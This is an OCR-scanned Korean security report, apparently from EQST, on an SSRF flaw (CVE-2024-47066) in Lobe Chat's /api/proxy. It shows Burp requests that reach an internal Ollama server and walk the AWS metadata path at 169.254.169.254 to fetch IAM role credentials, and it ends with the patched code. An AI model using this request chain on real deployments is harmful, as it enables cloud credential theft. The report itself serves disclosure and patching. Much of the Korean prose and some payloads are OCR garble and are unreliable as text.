SHOR & A 84S HUla I SHES B "ok Ui vES A P& 7R e doe] T4t
53 ES A [PFAR gtjo]dld S-S wislstoha, $fol| A Arsl fetch g2 54 wlzol WH-
YESAZ 84S Hula 9SS

R
;1

olo

¥
%0,
o

733 274 F2(Link Local Address): @ = W2 H7 AFE IPve FUMNERE F4

EQST insight | 35



Step 2. SSRF &2
1) SSRF(Server—-Side Request Forgery) &4
Server-Side Request Forgery(SSRF) &4 34271 A = of=Za]A o]

A
RS s sl @ Hobdelth o) 34 Bl FAe A}
BT 24T 5 ok

o)) g
| elzel Al s

JN HI

infosec

F
|

.
N
\
]
]
]
1
|
i
|
|
I
]
1
I
1
]
m
s’/

O Eeast

{D https://eqst.com?u r|=hnps://internaLcomJ

—— = - —— - ——

i
i
111

T

i —
3% !
1

| —

1 =

. ‘. —

oy =

Y
\ U /
.
i T g P

a9 10. SSRF ¥3 718

_‘_4

3rd-party)ell g
EAeR= o Z) Aol AE 548 }— ABe A A2

OH
)
lo
it
i
4
%2,
i
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2) Lobe Chat SSRF 32 AU
1. Al BB €35
g Al AR g3 Ay o= veat 7212 Wi LLM 3ol A z18= A,
Ollama 192.168.102.231:16728
Ollama ¢] 7$¢- M= 0= 1}go] ZA5}#] Fomz Ui o] SSRE #eFdo] &g A% RESTful
APl 2 LLM AKX &37} 71531

flo

Ollama = 5% LLM 29 F4o) 2738 ¥ 7%, ta3t 2] Ollama 7} 52 91 A& 21T
% gl
Request

Raw Hex o =

1 POST /api/proxy HTTP/1.1

7 Host: 13.209.88.70

3 Content-Length: 53

4 User-Agent: Mozilla/5.8 (Windows NT 18.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.8.6613.120 Safari/537.36
5 Connection: keep-alive

?_http:ff3‘35‘24‘239?ur14http:ff192‘168‘102,231:16?2ﬂ
@@ & || 2| |search

Response

Raw Hex Render

HTTP/1.1 200 OK
vary: RSC, Next-Router-5ta
content-length: 17
content-type: text/plaij; charset=utf-8
date: Fri, 04 Oct 2024/83:11:44 GMT

Connection: keep-ali
Keep-Alive: timeou

-Tree, Next-Router-Prefetch

(= Q- R T R S SV N

0llama is running

a9 11.LLM 22 F4& HZ g9l

3§ Ollama °| M of"l LLM E.¥lo] AR§-5]=A] /api/tags =0l 845 Huf SR18 4= gl
Request

Pretty Raw Hex ®
CuleeTi-CeENg L. ue
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.8.6613.120 Safari/537.36

Connection: keep-alive

[ RO W N S

Response
Pretty Raw Hex
8
9] {
"models”: [
{

"name”:"EQST_AI3.1-708B-08:latest",

"model”:"EQST_AI3.1-7@B-08:latest”,
"modified_at":"2024-09-30T06:37:24.150348367",

"size":74975055005,

"digest”: "ee0406e568fc65b6bec6@bdddaT7bbb4300ecaltb804f0aaB6ThobEf06b30a4E8",
"details”:{

% 12. /api/tags HZ
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/api/ps 7AEe 84 B ojulg LLM Edlo] wRejo] S} =A% FQl 713t

Request

pretty  Raw  Hex o =
1 POST /fapi/proxy HTTP/1.1

2 Host: 13.200.88.7@

3 Content-Length: 6@

4 User-Agent: Mozilla/5.0 (Windows NT 10.8; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.8.6613.120 Safari/537.36

Response
Pretty Raw Hex Rende =

8
o [{

"models”:[

]

¥ 13. /api/ps B
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o] s Xt 3.35.156.32

34Xt 3.35.24.239

Sehgs Aul2 P ALRIQE S S8 SJshas AWS o4 AnlZ $91 Ak wAe) Lobe
Chat 2 48T, AWS S04 QA2 T4 e pejshod] A = 9t A dojels
HEldlo]Hetar gtk o= http://169.254.159.254 FA4AE Sl F 4 a1, A2EZoA [AM
AN AAFHA e b el ol 445 9AE B A4 FA Tl

Metadata versionl & AF&-8R= 34 ol|A] th-3} 2Fo] http://169.254.169.254/latest/meta—data 73 =9l
Aehd, ojugt wEbdolE 7} Q1B o] EAlsH=A] &9l & %ﬂi T AUtk F A= W jam/o]
TR o= 3 AxE2T) IAM Role & ARESEIL Qlvhs A& 53 5= gltk

Request

Pretty Raw Hex

POST /api/proxy HTTP/1.1
Host: 13.200.88.70

Content-Length: 65
User- Agent Hozﬂla!S @ (Windows NT 10.8; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.8.6613.128 Safari/537.36

T

LA s L R e

@ @ &> ear-:l'u

Render

Prett Hex

13 identity-credentials/

a7 14. 1AM/ BE &<
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o] = jam/security—credentials 7420+ rnt-ssrf 2= [AM Role ©] A& gith
Request

Preth Raw Hex

POST /api/proxy HTTP/1.1
Host: 13.200.88.70

Content-Length: 9@
User-Agent: Mozilla/5.8 (Windows NT 10.8; Win64; xb64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36

B L R

(Y
o)
o
=
b}
[
%]
-+
e
=1
=
=
o
1]

o

)
W
el
:.
7]

http://3.35.24.2392ur1=http://169. 254,160,254/ 1atest/meta-data/iam/security-credentials/|

- o

&)@ <=2 Search

Response

Prett Raw Hex Render

HTTP/1.1 208 0K

wvary: RSC, Next-Houter-State-Tree, Next-Router-Prefetch
accept-ranges: Rytes

connection: kedp-alive

content-lengtfi: &

content-type/ text/plain

date: Fri, §4 Oct 2024 00:05:43 GMT

last-modified: Thu, 83 Oct 2024 23:55:42 GMT

server: Ef2ws

11| rnt-ssrf |

[0 ST

[T = R R

a9 15.IAM AEF F9 F= g2

39 ol 2] 1AM Role ol 1T8ldl Th&3) 2ol IAM AA%% 4RE 3458 F 3

Request

pretty  Raw  Hex R n
POST /api/proxy HTTP/1.1

7 Host: 13.209.88.70
3 Content-Length: 98
4 User-Agent: Mozilla/5.8 (Windows NT 18.8; Winh4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.8.6613.128 Safari/537.36
5 Connection: keep-alive
&
7 http;N3‘35‘24.239?ur1=|http:ff159‘254‘159.254flatestfmeta—datafiarru’5ecurity—credentials!rnt—ssrﬂ
@@ € ||| | search £ 0 highlights
Response
Prefhy Raw Hex Render = N =
[
12| "Code™ : "Success”,
13 “LastUpdated” : “2024-10-83T723:55:152",
14| "Type™ : "AWS-HMAC",
15 "AccesskeyId” : "ASIA "3
16 "SecretAccessKey" : " : 7
17 "Token" :
e e = EEE NN CEeEE M S N S = - - O . " n -G .
= T ==a = = m = om= Em = = L
u = = - [ = = u=w = = m ] s
m = = [ - = L = = = oEE =
= i - i
- n = W =@ G oEm = = = = E——— =] I 2 ; =—m wm
— —————— —

=g 16. A4 =% 23
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>
i
4

EQST insight | 41



m S ulot

O -

CVE-2024-47066 7} #32%]7] 791 9 € 20 ¢, dld A x| WA 1.19.13 o] SAIHACh
g HH Ax FEE ol HAE Fa g1 4 k.
*URL: https://github.com/lobehub/lobe—chat/tree/v1.19.13

e FHokd x| 8- ot BAE Fal &1 5 Uk

*URL: https://github.com/lobehub/lobe—
chat/commit/e960a23b0c69a5762eb27d776d33dac443058faf#diff-
7863de9f92a2b10e6b7e0438075¢9d9f2639640eb5310505¢64a0dalladd43f3R7

Ak vke} 2ol sl XA route.ts o] $IR9} F= WAHO] = A

slo] sk
=

o
Lok

% gl

~ =rcfappdapifprovy/route.ts (_@ :

v
~ src/app/wsbapi/proxy/route. ts [_E_,:]
aay BE -8,8 +1,19 @@
1 + impart { MextResponse } from "mext/server';
2 + import fetch from ‘node-fetch';
3 + impert { usefAgent as ssrfiAgent } from ‘reguest-filtering-apent':
- -
= s fEE
& £ * just for a proxy
7 -
8 + export const POST = async {reg: Regquest) => {
= - const url = await reg.text();
18 =
11 + try
12 + const res. = await fetchlurl, { agent: ssrfigent{url) });

28 18. ¥A 1.19.13 route.ts WA AL
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F ko] WAIE app/api/proxy/route.ts TEZE  app/webapi/proxy/route.ts = WAL, B

== vy g
import { NextResponse } from 'next/server';
import fetch from 'node-fetch';
import { useAgent as ssrfAgent } from 'request-filtering-agent';
/**
* just for a proxy
*

export const POST = async (req: Request) => {
const url = await req.text();
try {
const res = await fetch(url, { agent: ssrfAgent(url) });
return new Response(await res.arrayBuffer(), { headers: { ...res.headers } });
} catch (err) {
console.error(err); // DNS lookup 127.0.0.1(family:4, host:127.0.0.1.nip.io) is not
allowed. Because, It is private IP address.
return NextResponse.json({ error: 'Not support internal host proxy' }, { status: 400 });

o] T3 % request-filtering—agent 55 830 fetch 3= %4

39 FeP A A4e et go] MR a4 FPssih

2% Lobechat [ Theme [ B _ B @ o

1l

Settings
9 O huto
[} ' Topic List
Language English
= 25 Common Settings Default Topic  Temporary
C,.‘ Just Chat
—~ 2 System Assistant Font Size Basic Math Inquiry
= A Normal "
D @ Language Model
& Text-to-Speech Pri Col ~
+ New Assistant rimary Color ~~\
iy - cee @ 000
€ Default Assistant
Neutral Color ~
@ oot Oeeeee®

System Settings

Reset All Settings

Reset Now
o el . Clear All Session Messages m

LobeHub 3 Like Qur Product?

2% 19. F 23§ Lobe Chat 31X #HA

Al Zx] Y92 olel] HA0A E1E 4= Qltt.

*URL: https://github.com/lobehub/lobe—chat/releases

wl2ba], SSRE #efdo] EAjste] #-20] 7153k 1.19.12 B o]al FH ks MAd¢] Lobe Chat AFEAR=
9 2 Ao wet x| E egste]of s
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[=]

« GitHub Repository (Lobe Chat) : https://github.com/lobehub/lobe-chat

» Local Plugin Development : https://lobehub.com/docs/usage/plugins/development

» mdn web docs (Same-origin Policy) : https://developer.mozilla.org/en-US/docs/Web/Security/Same-
origin_policy

« GitHub Advisory Database (lobe-chat */api/proxy’ endpoint Server-Side Request Forgery vulnerability):
https://github.com/advisories/GHSA-mxhg-xw3g-rphc

« GitHub Advisory Database (Insufficient fix for GHSA-mxhqg-xw3g-rphc (CVE-2024-32964)):
https://github.com/lobehub/lobe-chat/security/advisories/GHSA-3fc8-2r3f-8wrg

« RFC3927 (Dynamic Configuration of IPv4 Link-Local Addresses):
https://datatracker.ietf.org/doc/html/rfc3927

« JavaScript Info (Fetch API): https://javascript.info/fetch-api

« AWS(Run commands when you launch an EC2 instance with user data input) :
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/user-data.html

» RAON - Core Research Team (AWS Instance Meta-data SSRF to RCE) : https://core-research-
team.github.io/2022-11-01/AWS-Instance-Meta-data-SSRF-to-RCE

« Ollama (RESTful API): https://github.com/ollama/ollama/blob/main/docs/api.md
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